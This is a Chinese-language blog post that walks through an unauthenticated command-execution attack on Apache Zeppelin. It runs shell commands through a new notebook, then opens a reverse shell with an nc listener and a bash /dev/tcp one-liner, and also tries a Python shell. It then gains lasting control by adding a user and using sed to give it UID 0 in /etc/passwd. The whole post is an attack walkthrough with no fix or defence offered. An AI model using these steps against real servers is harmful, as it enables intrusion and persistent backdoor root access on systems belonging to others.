当前位置:   article > 正文

zeppelin 未授权任意命令执行漏洞复现

zeppelin 未授权任意命令执行漏洞复现

一、命令执行复现

  1. 访问http://ip:8080,打开zeppelin页面,(zeppelin默认监听端口在8080)

image20210714113412518.png

  1. 点击Notebook->create new note创建新笔记

image20210714115155960.png

  1. 在创建笔记的时候选择Default Interpreter为sh,即可执行sh命令

    image20210714115241087.png

  2. 如下图,在命令窗口输入命令,按 shift+Enter 或点击右侧的执行按钮,即可执行sh命令

    image20210714115258525.png

# 二、反弹shell

  1. 不管是用哪种反弹shell的方式,都要在用于接受反弹shell的机器上开启端口监听,注意目标要能主动和接受的机器建立连接(即在同一网段或监听的端口处于公网),这里使用nc监听2333端口,命令为 nc -lvvp 2333,如图所示,开启了监听

    image20210714123724804.png

  2. 利用sh反弹shell 命令为:

    bash -i >& /dev/tcp/ip/port 0>&1
    

    image20210714124643675.png

  3. 重新开启监听,利用python反弹shell(内存不够会失败,折磨我两个小时才找到原因,太菜了太菜了)

    在创建新笔记的时候选择python

    image20210714124818546.png

    这里不需要使用python -c来执行python命令,直接像写python脚本一样就行

    image20210714141018535.png

    成功拿到了反弹的shell,但是python弹回来的并不是一个真的shell,类似于passwd这种需要交互的命令执行不了,而sh弹回来的一般不会有这种问题

# 三、拿下控制权

我们使用sh弹回来的shell进行下一步操作,创建一个特权用户,拿下对目标的持续控制,因为弹回来的是root权限,所以我们可以很方便的操作,但如果是普通用户,我们可以尝试是否拥有sudo权限,如果没有那就得另觅它法了

  1. 创建用户并更改用户密码,命令为
  1. useradd abc
  2. passwd abc # 根据提示重复输入两次密码(高版本系统可能会要求足够复杂的密码)

image20210714144510272.png

  1. 利用 /etc/passwd 文件提升用户的权限

    查看 /etc/passwd,主要注意root和abc两个用户,其中root用户中间的两个数字为 0:0,第一个0(UID)代表root用户,第二个0(GID)代表root组,abc用户的为 1000:1000,同样的,分别代表abc用户和abc组

image20210714145254972.png

所以我们只要将abc中间的两个数字改为 0:0,就能成功把abc提权为root用户

由于没装vi、vim这种编辑器,所以我们需要利用sed命令去修改文件

  1. sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
  2. # -i 参数代表直接对文件操作
  3. # $ 代表文件的最后一行
  4. # c 是 替换,后面为要替换的内容

测试用户权限,su abc切换到abc用户,执行whoami,发现我们依旧是root用户

image20210714151155922.png

之后我们就可以通过ssh随时连接目录机器

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/698692
推荐阅读
相关标签
  

闽ICP备14008679号